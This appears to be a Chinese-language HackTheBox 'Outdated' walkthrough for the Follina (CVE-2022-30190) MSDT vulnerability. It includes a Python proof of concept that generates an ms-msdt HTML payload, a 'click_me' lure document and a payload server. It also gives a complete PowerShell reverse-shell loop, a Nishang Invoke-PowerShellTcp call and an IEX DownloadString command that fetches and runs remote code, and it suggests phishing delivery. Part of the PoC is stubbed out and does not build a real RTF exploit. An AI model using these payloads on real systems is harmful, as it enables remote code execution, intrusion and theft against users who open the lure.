Follina(CVE-2022-30190) 是一个严重的远程代码执行(RCE)漏洞,影响 Microsoft 支持诊断工具(MSDT)。该漏洞最初是通过在 VirusTotal 上检测到的一个恶意文件发现的,并由研究员 Kevin Beaumont 命名。
在 HackTheBox 的 Outdated 机器环境中,该漏洞被用作获取系统访问权限的主要入口向量。
该漏洞利用基于滥用 ms-msdt 协议方案,允许攻击者通过加载外部资源执行任意代码。只需打开或预览特制的 Office 文档(DOCX)或富文本文件(RTF)即可触发攻击。
为了自动化攻击,建议使用 GitHub 等平台上可用的概念验证(PoC)脚本。follina.py 脚本可以轻松配置载荷。
建议的仓库: 可使用 John Hammond 或 Edge-Security 等研究人员提供的功能版本。
生成命令:
python3 follina.py -m command -t rtf -c "comando_a_ejecutar"
其中:
-m 指定执行模式(command 或 binary)-t 指定文件类型(rtf 或 docx)-c 指定要注入的命令在 Windows 上获取交互式控制台的一种有效方法是注入一条 PowerShell 语句,下载并调用 Nishang 套件中的 reverse shell(Invoke-PowerShellTcp.ps1)。
漏洞利用脚本会生成一个包含 Base64 指令的恶意 HTML 资源,并将其自动托管在本地 Web 服务器(端口 80)上。恶意文档(click_me.rtf)将指向该 URL,以触发 Windows 诊断过程并执行代码。
在真实环境或审计场景中,攻击者可以通过钓鱼或 SMTP 技术(使用 swaks 等工具)将 HTML 资源链接或恶意文档发送给受害者。
当用户交互时(或自动化任务处理该文件时),MSDT 会解释载荷并建立回连到攻击者机器的连接。
为了接收连接,攻击者需要在 reverse shell 中配置的端口上进行监听(例如使用 netcat 或 rlwrap)。成功利用后,将获得一个具有执行操作用户权限的交互式控制台,从而可以继续进行本地枚举和权限提升。
该脚本自动化创建恶意文件(RTF 或 DOCX)的过程,生成利用 ms-msdt 协议方案的 HTML 资源,并启动本地服务器以提供载荷。
import argparse
import base64
import http.server
import socketserver
import os
import threading
# Estructura basada en la investigación de Kevin Beaumont y las PoC mencionadas [2, 6]
def generate_payload(command):
# El comando debe estar codificado en Base64 para ser procesado por MSDT [5]
command_b64 = base64.b64encode(command.encode()).decode()
# Payload que abusa del protocolo ms-msdt [5]
# Se utiliza una cadena larga de caracteres para llenar el buffer y gatillar la ejecución
payload = f"""<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\""";
// Relleno adicional para asegurar el procesamiento
""" + ("A" * 4096) + "</script>"
return payload
def create_rtf(filename, server_url):
# Genera un archivo RTF que apunta al recurso HTML externo [3, 4]
print(f"[*] Generando archivo malicioso: {filename}")
# Nota: En una implementación real, aquí se inyecta el OLE object que apunta a server_url
with open(filename, "w") as f:
f.write(f"Archivo RTF configurado para conectar a {server_url}/exploit.html")
def run_server(port):
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", port), handler) as httpd:
print(f"[*] Servidor HTTP activo en el puerto {port} [7]")
httpd.serve_forever()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)")
parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="Modo de ejecución [3]")
parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="Tipo de archivo a generar [3]")
parser.add_argument("-c", "--command", required=True, help="Comando a ejecutar en el sistema víctima [3]")
parser.add_argument("-p", "--port", type=int, default=80, help="Puerto del servidor local [7]")
args = parser.parse_args()
# 1. Crear el payload HTML
html_content = generate_payload(args.command)
with open("index.html", "w") as f:
f.write(html_content)
# 2. Crear el documento malicioso
filename = f"click_me.{args.type}"
create_rtf(filename, "http://tu_ip_atacante")
# 3. Iniciar el servidor para recibir la petición [4, 7]
run_server(args.port)
关键参数: 如来源中所述,脚本使用 -m 指定模式,-t 指定文件类型,-c 指定命令。
PowerShell 注入: 在 s4vitar 的训练中常见的一种用法是注入一条 PowerShell 语句,下载并调用 Nishang 的 reverse shell(Invoke-PowerShellTcp.ps1)以获得交互式访问。
执行: 当受害者打开或仅预览恶意文件(RTF/DOCX)时,攻击即被触发,导致系统尝试加载 HTML 资源并通过 Microsoft 诊断工具(MSDT)执行命令。
监听: 你需要在 reverse shell 中指定的端口上进行监听(例如使用 netcat),以便在受害机器上的 exploit 被触发后接收连接。
Invoke-PowerShellTcp.ps1 脚本是 Nishang 套件中最常用的工具之一,用于在 Windows 系统上获取 reverse shell。
原始脚本从 GitHub 上 Nishang 的官方仓库下载。典型的使用步骤如下:
wget 将资源下载到攻击者的机器上。reverse.ps1 或 ps.ps1,以方便从受害机器调用。为了将脚本转换为可自动执行的载荷,需要在 .ps1 文件末尾添加如下一行:
Invoke-PowerShellTcp -Reverse -IPAddress <TU_IP_ATACANTE> -Port <TU_PUERTO>
其中 <TU_IP_ATACANTE> 和 <TU_PUERTO> 需要替换为你自己的监听信息(例如 10.10.14.29 和 443)。
$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PUERTO>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
(注意:此代码遵循"gitbash"和交互式终端的逻辑,这一点在 Compiled 等机器的解题中有所提及)。
当攻击者将脚本托管在本地 HTTP 服务器(端口 80)上后,在受害机器上使用 IEX(Invoke-Expression)命令将其加载并直接在内存中执行,而无需写入磁盘:
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<TU_IP>/reverse.ps1')"
此方法在利用 Follina 等漏洞或攻陷 Web 服务后获取初始访问权限时至关重要。一旦执行,攻击者将在监听的 netcat 会话中收到连接。
Pwned!!!